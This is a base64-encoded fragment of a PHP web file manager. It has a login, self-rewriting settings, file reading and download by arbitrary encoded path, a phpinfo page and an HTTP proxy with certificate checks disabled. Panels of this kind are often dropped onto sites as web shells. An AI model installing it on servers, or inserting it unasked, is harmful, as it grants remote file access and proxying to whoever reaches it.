ZSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IicuX18oJ05ldycpLicgJy5fXygnTmFtZScpLiciPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48dGV4dGFyZWEgbmFtZT0iJy4kbG5nX3RwbC4nX25ld192YWx1ZSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiIHBsYWNlaG9sZGVyPSInLl9fKCdOZXcnKS4nICcuX18oJ1ZhbHVlJykuJyI+PC90ZXh0YXJlYT48L3RkPjwvdHI+Cjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdBZGQnKS4nIiA+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+Cic7Cgp9CgpmdW5jdGlvbiBmaW5kX3RleHRfaW5fZmlsZXMoJGRpciwgJG1hc2ssICR0ZXh0KSB7CiAgICAgICAgICAkcmVzdWx0cyA9IGFycmF5KCk7CgogICAgICAgICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXIpKSB7CiAgICAgICAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsKICAgICAgICAgICAgICAgICAgaWYgKCRlbnRyeSAhPSAiLiIgJiYgJGVudHJ5ICE9ICIuLiIpIHsKICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRpciAuICIvIiAuICRlbnRyeTsKCiAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzID0gYXJyYXlfbWVyZ2UoJHJlc3VsdHMsIGZpbmRfdGV4dF9pbl9maWxlcygkcGF0aCwgJG1hc2ssICR0ZXh0KSk7CgogICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZm5tYXRjaCgkbWFzaywgJGVudHJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50cywgJHRleHQpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHBhdGgpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTsKCiAgICAgICAgICB9CiAgICAgICAgICByZXR1cm4gJHJlc3VsdHM7Cgp9CgoKLyogRW5kIEZ1bmN0aW9ucyAqLwoKCgovLyBhdXRob3JpemF0aW9uCmlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsKCWlmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkpewoJCWlmICgoJF9QT1NUWydsb2dpbiddPT0kYXV0aFsnbG9naW4nXSkgJiYgKCRfUE9TVFsncGFzc3dvcmQnXT09JGF1dGhbJ3Bhc3N3b3JkJ10pKSB7CgkJCXNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOwoKCQkJJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pOwoKCQl9Cgl9CglpZiAoIWlzc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSkgT1IgKCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSE9JGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSkpKSB7CgkJZWNobyAnCjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+Cjx0aXRsZT4nLl9fKCdGaWxlIG1hbmFnZXInKS4nPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CicuX18oJ0xvZ2luJykuJyA8aW5wdXQgbmFtZT0ibG9naW4iIHR5cGU9InRleHQiPiZuYnNwOyZuYnNwOyZuYnNwOwoKJy5fXygnUGFzc3dvcmQnKS4nIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPiZuYnNwOyZuYnNwOyZuYnNwOwoKPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ0VudGVyJykuJyIgY2xhc3M9ImZtX2lucHV0Ij4KPC9mb3JtPgonLmZtX2xhbmdfZm9ybSgkbGFuZ3VhZ2UpLicKPC9ib2R5Pgo8L2h0bWw+Cic7ICAKZGllKCk7CgoJfQoJaWYgKGlzc2V0KCRfUE9TVFsncXVpdCddKSkgewoJCXVuc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSk7CgoJCXNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOwoKCQloZWFkZXIoJ0xvY2F0aW9uOiAnLmZtX3NpdGVfdXJsKCkuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOwoKCX0KfQoKCgovLyBDaGFuZ2UgY29uZmlnCmlmIChpc3NldCgkX0dFVFsnZm1fc2V0dGluZ3MnXSkpIHsKCWlmIChpc3NldCgkX0dFVFsnZm1fY29uZmlnX2RlbGV0ZSddKSkgeyAKCQl1bnNldCgkX0NPT0tJRVsnZm1fY29uZmlnJ10pOwoKCQlzZXRjb29raWUoJ2ZtX2NvbmZpZycsICcnLCB0aW1lKCkgLSAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCgkJaGVhZGVyKCdMb2NhdGlvbjogJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUnKTsKCgkJZXhpdCgwKTsKCgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9jb25maWcnXSkpIHsgCgkJJGZtX2NvbmZpZyA9ICRfUE9TVFsnZm1fY29uZmlnJ107CgoJCXNldGNvb2tpZSgnZm1fY29uZmlnJywgc2VyaWFsaXplKCRmbV9jb25maWcpLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsKCgkJJF9DT09LSUVbJ2ZtX2NvbmZpZyddID0gc2VyaWFsaXplKCRmbV9jb25maWcpOwoKCQkkbXNnID0gX18oJ1NldHRpbmdzJykuJyAnLl9fKCdkb25lJyk7CgoJfQllbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fbG9naW4nXSkpIHsgCgkJaWYgKGVtcHR5KCRfUE9TVFsnZm1fbG9naW4nXVsnYXV0aG9yaXplJ10pKSAkX1BPU1RbJ2ZtX2xvZ2luJ10gPSBhcnJheSgnYXV0aG9yaXplJyA9PiAnMCcpICsgJF9QT1NUWydmbV9sb2dpbiddOwoKCQkkZm1fbG9naW4gPSBqc29uX2VuY29kZSgkX1BPU1RbJ2ZtX2xvZ2luJ10pOwoKCQkkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwoKCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnI2F1dGhvcml6YXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOwoKCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgewoJCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsKCgkJCSRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCRmbV9sb2dpbiwkZmdjKTsKCgkJCWlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7CgkJCQkgICAgICAkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsKCgkJCQkgICAgICBpZiAoJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddICE9ICRhdXRoWydsb2dpbiddKSAkbXNnIC49ICcgJy5fXygnTG9naW4nKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsnbG9naW4nXTsKCgkJCQkgICAgICBpZiAoJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddICE9ICRhdXRoWydwYXNzd29yZCddKSAkbXNnIC49ICcgJy5fXygnUGFzc3dvcmQnKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsncGFzc3dvcmQnXTsKCgkJCQkgICAgICAkYXV0aCA9ICRfUE9TVFsnZm1fbG9naW4nXTsKCgkJCX0KCQkJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoKCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOwoKCQl9Cgl9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWyd0cGxfZWRpdGVkJ10pKSB7IAoJCSRsbmdfdHBsID0gJF9QT1NUWyd0cGxfZWRpdGVkJ107CgoJCWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddKSkgewoJCQkkZm1fcGhwID0ganNvbl9lbmNvZGUoYXJyYXlfY29tYmluZSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10sJF9QT1NUWyRsbmdfdHBsLidfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7CgoJCX0gZWxzZWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXSkpIHsKCQkJJGZtX3BocCA9IGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKSthcnJheSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddPT4kX1BPU1RbJGxuZ190cGwuJ19uZXdfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7CgoJCX0KCQlpZiAoIWVtcHR5KCRmbV9waHApKSB7CgkJCSRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CgoJCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnIycuJGxuZ190cGwuJ190ZW1wbGF0ZXNbXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOwoKCQkJaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsKCQkJCSAgICAgICRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOwoKCQkJCSAgICAgICRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCRmbV9waHAsJGZnYyk7CgoJCQkJICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHsKCQkJCSAgICAgIAkkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30gPSAkZm1fcGhwOwoKCQkJCSAgICAgIAkkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsKCgkJCQkgICAgICB9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCgkJCQkgICAgICBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7CgoJCQl9CQoJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoKCX0KfQoKCgovLyBKdXN0IHNob3cgaW1hZ2UKaWYgKGlzc2V0KCRfR0VUWydpbWcnXSkpIHsKCSRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2ltZyddKTsKCglpZiAoJGluZm89Z2V0aW1hZ2VzaXplKCRmaWxlKSl7CgkJc3dpdGNoICAoJGluZm9bMl0pewkvLzE9R0lGLCAyPUpQRywgMz1QTkcsIDQ9U1dGLCA1PVBTRCwgNj1CTVAKCQkJY2FzZSAxOiAkZXh0PSdnaWYnOyBicmVhazsKCgkJCWNhc2UgMjogJGV4dD0nanBlZyc7IGJyZWFrOwoKCQkJY2FzZSAzOiAkZXh0PSdwbmcnOyBicmVhazsKCgkJCWNhc2UgNjogJGV4dD0nYm1wJzsgYnJlYWs7CgoJCQlkZWZhdWx0OiBkaWUoKTsKCgkJfQoJCWhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS8kZXh0Iik7CgoJCWVjaG8gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwoKCQlkaWUoKTsKCgl9Cn0KCgoKLy8gSnVzdCBkb3dubG9hZCBmaWxlCmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHsKCSRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2Rvd25sb2FkJ10pOwoKCWZtX2Rvd25sb2FkKCRmaWxlKTsJCn0KCgoKLy8gSnVzdCBzaG93IGluZm8KaWYgKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSB7CglwaHBpbmZvKCk7IAoJZGllKCk7Cgp9CgoKCi8vIE1pbmkgcHJveHksIG1hbnkgYnVncyEKaWYgKGlzc2V0KCRfR0VUWydwcm94eSddKSAmJiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkpIHsKCSR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pP3VybGRlY29kZSgkX0dFVFsndXJsJ10pOicnOwoKCSRwcm94eV9mb3JtID0gJwo8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjEwMDUwMDtiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZTRmNWZjIDAlLCNiZmU4ZjkgNTAlLCM5ZmQ4ZWYgNTElLCMyYWIwZWQgMTAwJSk7Ij4KCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IkdFVCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwcm94eSIgdmFsdWU9InRydWUiPgoJJy5mbV9ob21lKCkuJyA8YSBocmVmPSInLiR1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPlVybDwvYT46IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cmwiIHZhbHVlPSInLiR1cmwuJyIgc2l6ZT0iNTUiPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1Nob3cnKS4nIiBjbGFzcz0iZm1faW5wdXQiPgoJPC9mb3JtPgo8L2Rpdj4KJzsKCglpZiAoJHVybCkgewoJCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ0RlbjF4eHggdGVzdCBwcm94eScpOwoKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMCk7CgoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwwKTsKCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7CgoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRUZFUkVSLCAkdXJsKTsKCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOwoKCQkkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgoJCWN1cmxfY2xvc2UoJGNoKTsKCgoKCQkvLyRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyMoc3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnXFwxPSInLiR1cmwuJy9cXDIiJywgJHJlc3VsdCk7CgoJCSRyZXN1bHQgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJyMoaHJlZnxzcmMpPVsiXCddW2h0dHA6Ly9dPyhbXjpdKilbIlwnXSNVaScsICdmbV91cmxfcHJveHknLCAkcmVzdWx0KTsKCgkJJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnJSg8Ym9keS4qPz4pJWknLCAnJDEnLic8c3R5bGU+Jy5mbV9ob21lX3N0eWxlKCkuJzwvc3R5bGU+Jy4kcHJveHlfZm9ybSwgJHJlc3VsdCk7CgoJCWVjaG8gJHJlc3VsdDsKCgkJZGllKCk7CgoJfSAKfQo/Pgo8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPiAgICAgCgk8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4KCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSIgLz4KICAgICAgICAgIDx0aXRsZT48Pz1fXygnRmlsZSBtYW5hZ2VyJyk/PjwvdGl0bGU+CjxzdHlsZT4KYm9keSB7CgliYWNrZ3JvdW5kLWNvbG9yOgl3aGl0ZTsKCglmb250LWZhbWlseToJCVZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7CgoJZm9udC1zaXplOgkJCThwdDsKCgltYXJnaW46CQkJCTBweDsKCn0KCmE6bGluaywgYTphY3RpdmUsIGE6dmlzaXRlZCB7IGNvbG9yOiAjMDA2Njk5OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0KYTpob3ZlciB7IGNvbG9yOiAjREQ2OTAwOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQphLnRoOmxpbmsgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9CmEudGg6YWN0aXZlIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQphLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9CmEudGg6aG92ZXIgeyAgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9Cgp0YWJsZS5iZyB7CgliYWNrZ3JvdW5kLWNvbG9yOiAjQUNCQkM2Cn0KCnRoLCB0ZCB7IAoJZm9udDoJbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOwoKCXBhZGRpbmc6IDNweDsKCn0KCnRoCXsKCWhlaWdodDoJCQkJMjVweDsKCgliYWNrZ3JvdW5kLWNvbG9yOgkjMDA2Njk5OwoKCWNvbG9yOgkJCQkjRkZBMzRGOwoKCWZvbnQtd2VpZ2h0OgkJYm9sZDsKCglmb250LXNpemU6CQkJMTFweDsKCn0KCi5yb3cxIHsKCWJhY2tncm91bmQtY29sb3I6CSNFRkVGRUY7Cgp9Cgoucm93MiB7CgliYWNrZ3JvdW5kLWNvbG9yOgkjREVFM0U3OwoKfQoKLnJvdzMgewoJYmFja2dyb3VuZC1jb2xvcjoJI0QxRDdEQzsKCglwYWRkaW5nOiA1cHg7Cgp9Cgp0ci5yb3cxOmhvdmVyIHsKCWJhY2tncm91bmQtY29sb3I6CSNGM0ZDRkM7Cgp9Cgp0ci5yb3cyOmhvdmVyIHsKCWJhY2tncm91bmQtY29sb3I6CSNGMEY2RjY7Cgp9Cgoud2hvbGUgewoJd2lkdGg6IDEwMCU7Cgp9CgouYWxsIHRib2R5IHRkOmZpcnN0LWNoaWxke3dpZHRoOjEwMCU7fQoKdGV4dGFyZWEgewoJZm9udDogOXB0ICdDb3VyaWVyIE5ldycsIGNvdXJpZXI7CgoJbGluZS1oZWlnaHQ6IDEyNSU7CgoJcGFkZGluZzogNXB4OwoKfQoKLnRleHRhcmVhX2lucHV0IHsKCWhlaWdodDogMWVtOwoKfQoKLnRleHRhcmVhX2lucHV0OmZvY3VzIHsKCWhlaWdodDogYXV0bzsKCn0KCmlucHV0W3R5cGU9c3VibWl0XXsKCWJhY2tncm91bmQ6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50OwoKCWN1cnNvcjogcG9pbnRlcjsKCn0KCi5mb2xkZXIgewogICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFLVDJsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTm5WRlBwRmozMzN2UkNTNGlBbEV0dlVoVUlJRkpDaTRBVWtTWXFJUWtRU29naG9ka1ZVY0VSUlVVRUc4aWdpQU9Pam9DTUZWRXNESW9LMkFma0lhS09nNk9JaXNyNzRYdWphOWE4OStiTi9yWFhQdWVzODUyenp3ZkFDQXlXU0ROUk5ZQU1xVUllRWVDRHg4VEc0ZVF1UUlFS0pIQUFFQWl6WkNGei9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SC93L3FRcGxjQVlDRUFjQjBrVGhMQ0lBVUFFQjZqa0ttQUVCR0FZQ2RtQ1pUQUtBRUFHRExZMkxqQUZBdEFHQW5mK2JUQUlDZCtKbDdBUUJibENFVkFhQ1JBQ0FUWlloRUFHZzdBS3pQVm9wRkFGZ3dBQlJtUzhRNUFOZ3RBREJKVjJaSUFMQzNBTURPRUF1eUFBZ01BREJSaUlVcEFBUjdBR0RJSXlONEFJU1pBQlJHOGxjODhTdXVFT2NxQUFCNG1iSTh1U1E1UllGYkNDMXhCMWRYTGg0b3pra1hLeFEyWVFKaG1rQXV3bm1aR1RLQk5BL2c4OHdBQUtDUkZSSGdnL1A5ZU00T3JzN09ObzYyRGw4dDZyOEcveUppWXVQKzVjK3JjRUFBQU9GMGZ0SCtMQyt6R29BN0JvQnQvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVi9OdytINDhQRVdoa0xuWjJlWGs1TmhLeEVKYlljcFhmZjVud2wvQVYvMXMrWDQ4L1BmMTRMN2lKSUV5WFlGSEJQamd3c3owVEtVY3o1SUpoR0xjNW85SC9MY0wvL3dkMHlMRVNXSzVXQ29VNDFFU2NZNUVtb3p6TXFVaWlVS1NLY1VsMHY5azR0OHMrd00rM3pVQXNHbytBWHVSTGFoZFl3UDJTeWNRV0hUQTR2Y0FBUEs3YjhIVUtBZ0RnR2lENGM5My8rOC8vVWVnSlFDQVprbVNjUUFBWGtRa0xsVEtzei9IQ0FBQVJLQ0JLckJCRy9UQkdDekFCaHpCQmR6QkMveGdOb1JDSk1UQ1FoQkNDbVNBSEhKZ0theUNRaWlHemJBZEttQXYxRUFkTk1CUmFJYVRjQTR1d2xXNERqMXdEL3BoQ0o3QktMeUJDUVJCeUFnVFlTSGFpQUZpaWxnampnZ1htWVg0SWNGSUJCS0xKQ0RKaUJSUklrdVJOVWd4VW9wVUlGVklIZkk5Y2dJNWgxeEd1cEU3eUFBeWd2eUd2RWN4bElHeVVUM1VETFZEdWFnM0dvUkdvZ3ZRWkhReG1vOFdvSnZRY3JRYVBZdzJvZWZRcTJnUDJvOCtROGN3d09nWUJ6UEViREF1eHNOQ3NUZ3NDWk5qeTdFaXJBeXJ4aHF3VnF3RHU0bjFZOCt4ZHdRU2dVWEFDVFlFZDBJZ1lSNUJTRmhNV0U3WVNLZ2dIQ1EwRWRvSk53a0RoRkhDSnlLVHFFdTBKcm9SK2NRWVlqSXhoMWhJTENQV0VvOFRMeEI3aUVQRU55UVNpVU15SjdtUUFrbXhwRlRTRXRKRzBtNVNJK2tzcVpzMFNCb2prOG5hWkd1eUJ6bVVMQ0FyeUlYa25lVEQ1RFBrRytRaDhsc0tuV0pBY2FUNFUrSW9Vc3BxU2hubEVPVTA1UVpsbURKQlZhT2FVdDJvb1ZRUk5ZOWFRcTJodGxLdlVZZW9FelIxbWpuTmd4WkpTNld0b3BYVEdtZ1hhUGRwcitoMHVoSGRsUjVPbDlCWDBzdnBSK2lYNkFQMGR3d05oaFdEeDRobktCbWJHQWNZWnhsM0dLK1lUS1laMDRzWngxUXdOekhybU9lWkQ1bHZWVmdxdGlwOEZaSEtDcFZLbFNhVkd5b3ZWS21xcHFyZXFndFY4MVhMVkkrcFhsTjlya1pWTTFQanFRblVscXRWcXAxUTYxTWJVMmVwTzZpSHFtZW9iMVEvcEg1Wi9Za0dXY05NdzA5RHBGR2dzVi9qdk1ZZ0MyTVpzM2dzSVdzTnE0WjFnVFhFSnJITjJYeDJLcnVZL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0L09CWjNuVTlsVDNhY0tweFpOUFRyMXJpNnFhNlVib2J0RWQ3OXVwKzZZbnI1ZWdKNU1iNmZlZWIzbitoeDlMLzFVL1czNnAvVkhERmdHc3d3a0J0c016aGc4eFRWeGJ6d2RMOGZiOFZGRFhjTkFRNlZobFdHWDRZU1J1ZEU4bzlWR2pVWVBqR25HWE9NazQyM0diY2FqSmdZbUlTWkxUZXBON3BwU1RibW1LYVk3VER0TXg4M016YUxOMXBrMW16MHgxekxubStlYjE1dmZ0MkJhZUZvc3RxaTJ1R1ZKc3VSYXBsbnV0cnh1aFZvNVdhVllWVnBkczBhdG5hMGwxcnV0dTZjUnA3bE9rMDZybnRabnc3RHh0c20ycWJjWnNPWFlCdHV1dG0yMmZXRm5ZaGRudDhXdXcrNlR2Wk45dW4yTi9UMEhEWWZaRHFzZFdoMStjN1J5RkRwV090NmF6cHp1UDMzRjlKYnBMMmRZenhEUDJEUGp0aFBMS2NScG5WT2IwMGRuRjJlNWM0UHppSXVKUzRMTExwYytMcHNieHQzSXZlUktkUFZ4WGVGNjB2V2RtN09id3UybzI2L3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFL0M1K1ZNR3Zmckg1UFEwK0JaN1huSXk5akw1RlhyZGV3dDZWM3F2ZGg3eGMrOWo1eW4rTSs0enczM2pMZVdWL01OOEMzeUxmTFQ4TnZubCtGMzBOL0kvOWsvM3IvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dC84N2ZPSDRwM2lDK043RjVndnlGMXdlYUhPd3ZTRnB4YXBMaElzT3BaQVRJaE9PSlR3UVJBcXFCYU1KZklUZHlXT0NubkNIY0puSWkvUk50R0kyRU5jS2g1TzhrZ3FUWHFTN0pHOE5Ya2t4VE9sTE9XNWhDZXBrTHhNRFV6ZG16cWVGcHAySUcweVBUcTlNWU9Ta1pCeFFxb2hUWk8yWitwbjVtWjJ5NnhsaGJMK3hXNkx0eThlbFFmSmE3T1FyQVZaTFFxMlFxYm9WRm9vMXlvSHNtZGxWMmEvelluS09aYXJuaXZON2N5enl0dVFONXp2bi8vdEVzSVM0WksycFlaTFZ5MGRXT2E5ckdvNXNqeHhlZHNLNHhVRks0WldCcXc4dUlxMkttM1ZUNnZ0VjVldWZyMG1lazFyZ1Y3QnlvTEJ0UUZyNnd0VkN1V0ZmZXZjMSsxZFQxZ3ZXZCsxWWZxR25ScytGWW1LcmhUYkY1Y1ZmOWdvM0hqbEc0ZHZ5citaM0pTMHFhdkV1V1RQWnRKbTZlYmVMWjViRHBhcWwrYVhEbTROMmRxMERkOVd0TzMxOWtYYkw1Zk5LTnU3ZzdaRHVhTy9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozL1Q3SnZ0dFZBVlZOMVdiVlpmdEorN1AzUDY2SnF1bjRsdnR0WGExT2JYSHR4d1BTQS8wSEl3NjIxN25VMVIzU1BWUlNqOVlyNjBjT3h4KysvcDN2Z